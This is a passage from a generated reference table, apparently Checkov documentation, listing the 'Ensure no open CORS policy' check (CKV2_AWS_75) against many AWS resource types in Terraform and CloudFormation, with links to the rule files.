[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5172 | CKV2_AWS_75 | resource | aws_ssmincidents_response_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5173 | CKV2_AWS_75 | resource | aws_ssmquicksetup_configuration_manager | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5174 | CKV2_AWS_75 | resource | aws_ssmquicksetup_configuration_manager | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5175 | CKV2_AWS_75 | resource | aws_ssoadmin_account_assignment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5176 | CKV2_AWS_75 | resource | aws_ssoadmin_account_assignment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5177 | CKV2_AWS_75 | resource | aws_ssoadmin_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5178 | CKV2_AWS_75 | resource | aws_ssoadmin_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5179 | CKV2_AWS_75 | resource | aws_ssoadmin_application_access_scope | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5180 | CKV2_AWS_75 | resource | aws_ssoadmin_application_access_scope | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5181 | CKV2_AWS_75 | resource | aws_ssoadmin_application_assignment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5182 | CKV2_AWS_75 | resource | aws_ssoadmin_application_assignment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5183 | CKV2_AWS_75 | resource | aws_ssoadmin_application_assignment_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5184 | CKV2_AWS_75 | resource | aws_ssoadmin_application_assignment_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5185 | CKV2_AWS_75 | resource | aws_ssoadmin_customer_managed_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5186 | CKV2_AWS_75 | resource | aws_ssoadmin_customer_managed_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5187 | CKV2_AWS_75 | resource | aws_ssoadmin_instance_access_control_attributes | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5188 | CKV2_AWS_75 | resource | aws_ssoadmin_instance_access_control_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5189 | CKV2_AWS_75 | resource | aws_ssoadmin_managed_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5190 | CKV2_AWS_75 | resource | aws_ssoadmin_managed_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5191 | CKV2_AWS_75 | resource | aws_ssoadmin_permission_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5192 | CKV2_AWS_75 | resource | aws_ssoadmin_permission_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5193 | CKV2_AWS_75 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5194 | CKV2_AWS_75 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5195 | CKV2_AWS_75 | resource | aws_ssoadmin_permissions_boundary_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5196 | CKV2_AWS_75 | resource | aws_ssoadmin_permissions_boundary_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5197 | CKV2_AWS_75 | resource | aws_ssoadmin_trusted_token_issuer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5198 | CKV2_AWS_75 | resource | aws_ssoadmin_trusted_token_issuer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5199 | CKV2_AWS_75 | resource | aws_storagegateway_cache | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5200 | CKV2_AWS_75 | resource | aws_storagegateway_cache | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5201 | CKV2_AWS_75 | resource | aws_storagegateway_cached_iscsi_volume | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5202 | CKV2_AWS_75 | resource | aws_storagegateway_cached_iscsi_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5203 | CKV2_AWS_75 | resource | aws_storagegateway_file_system_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5204 | CKV2_AWS_75 | resource | aws_storagegateway_file_system_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5205 | CKV2_AWS_75 | resource | aws_storagegateway_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5206 | CKV2_AWS_75 | resource | aws_storagegateway_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5207 | CKV2_AWS_75 | resource | aws_storagegateway_nfs_file_share | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5208 | CKV2_AWS_75 | resource | aws_storagegateway_nfs_file_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5209 | CKV2_AWS_75 | resource | aws_storagegateway_smb_file_share | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5210 | CKV2_AWS_75 | resource | aws_storagegateway_smb_file_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5211 | CKV2_AWS_75 | resource | aws_storagegateway_stored_iscsi_volume | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5212 | CKV2_AWS_75 | resource | aws_storagegateway_stored_iscsi_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5213 | CKV2_AWS_75 | resource | aws_storagegateway_tape_pool | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5214 | CKV2_AWS_75 | resource | aws_storagegateway_tape_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5215 | CKV2_AWS_75 | resource | aws_storagegateway_upload_buffer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5216 | CKV2_AWS_75 | resource | aws_storagegateway_upload_buffer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5217 | CKV2_AWS_75 | resource | aws_storagegateway_working_storage | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5218 | CKV2_AWS_75 | resource | aws_storagegateway_working_storage | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5219 | CKV2_AWS_75 | resource | aws_subnet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5220 | CKV2_AWS_75 | resource | aws_subnet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5221 | CKV2_AWS_75 | resource | aws_swf_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5222 | CKV2_AWS_75 | resource | aws_swf_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5223 | CKV2_AWS_75 | resource | aws_synthetics_canary | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5224 | CKV2_AWS_75 | resource | aws_synthetics_canary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5225 | CKV2_AWS_75 | resource | aws_synthetics_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5226 | CKV2_AWS_75 | resource | aws_synthetics_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5227 | CKV2_AWS_75 | resource | aws_synthetics_group_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5228 | CKV2_AWS_75 | resource | aws_synthetics_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5229 | CKV2_AWS_75 | resource | aws_timestreaminfluxdb_db_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5230 | CKV2_AWS_75 | resource | aws_timestreaminfluxdb_db_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5231 | CKV2_AWS_75 | resource | aws_timestreamquery_scheduled_query | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5232 | CKV2_AWS_75 | resource | aws_timestreamquery_scheduled_query | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5233 | CKV2_AWS_75 | resource | aws_timestreamwrite_database | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5234 | CKV2_AWS_75 | resource | aws_timestreamwrite_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5235 | CKV2_AWS_75 | resource | aws_timestreamwrite_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5236 | CKV2_AWS_75 | resource | aws_timestreamwrite_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5237 | CKV2_AWS_75 | resource | aws_transcribe_language_model | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5238 | CKV2_AWS_75 | resource | aws_transcribe_language_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5239 | CKV2_AWS_75 | resource | aws_transcribe_medical_vocabulary | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5240 | CKV2_AWS_75 | resource | aws_transcribe_medical_vocabulary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5241 | CKV2_AWS_75 | resource | aws_transcribe_vocabulary | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5242 | CKV2_AWS_75 | resource | aws_transcribe_vocabulary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5243 | CKV2_AWS_75 | resource | aws_transcribe_vocabulary_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5244 | CKV2_AWS_75 | resource | aws_transcribe_vocabulary_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5245 | CKV2_AWS_75 | resource | aws_transfer_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5246 | CKV2_AWS_75 | resource | aws_transfer_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5247 | CKV2_AWS_75 | resource | aws_transfer_agreement | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5248 | CKV2_AWS_75 | resource | aws_transfer_agreement | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5249 | CKV2_AWS_75 | resource | aws_transfer_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5250 | CKV2_AWS_75 | resource | aws_transfer_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5251 | CKV2_AWS_75 | resource | aws_transfer_connector | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5252 | CKV2_AWS_75 | resource | aws_transfer_connector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5253 | CKV2_AWS_75 | resource | aws_transfer_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5254 | CKV2_AWS_75 | resource | aws_transfer_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5255 | CKV2_AWS_75 | resource | aws_transfer_server | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5256 | CKV2_AWS_75 | resource | aws_transfer_server | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5257 | CKV2_AWS_75 | resource | aws_transfer_ssh_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5258 | CKV2_AWS_75 | resource | aws_transfer_ssh_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5259 | CKV2_AWS_75 | resource | aws_transfer_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5260 | CKV2_AWS_75 | resource | aws_transfer_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5261 | CKV2_AWS_75 | resource | aws_transfer_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5262 | CKV2_AWS_75 | resource | aws_transfer_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5263 | CKV2_AWS_75 | resource | aws_transfer_workflow | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5264 | CKV2_AWS_75 | resource | aws_transfer_workflow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5265 | CKV2_AWS_75 | resource | aws_verifiedaccess_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5266 | CKV2_AWS_75 | resource | aws_verifiedaccess_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5267 | CKV2_AWS_75 | resource | aws_verifiedaccess_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5268 | CKV2_AWS_75 | resource | aws_verifiedaccess_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5269 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5270 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5271 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance_logging_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5272 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5273 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance_trust_provider_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5274 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance_trust_provider_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5275 | CKV2_AWS_75 | resource | aws_verifiedaccess_trust_provider | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5276 | CKV2_AWS_75 | resource | aws_verifiedaccess_trust_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5277 | CKV2_AWS_75 | resource | aws_verifiedpermissions_identity_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5278 | CKV2_AWS_75 | resource | aws_verifiedpermissions_identity_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5279 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5280 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5281 | CKV2_AWS_75 | resource | 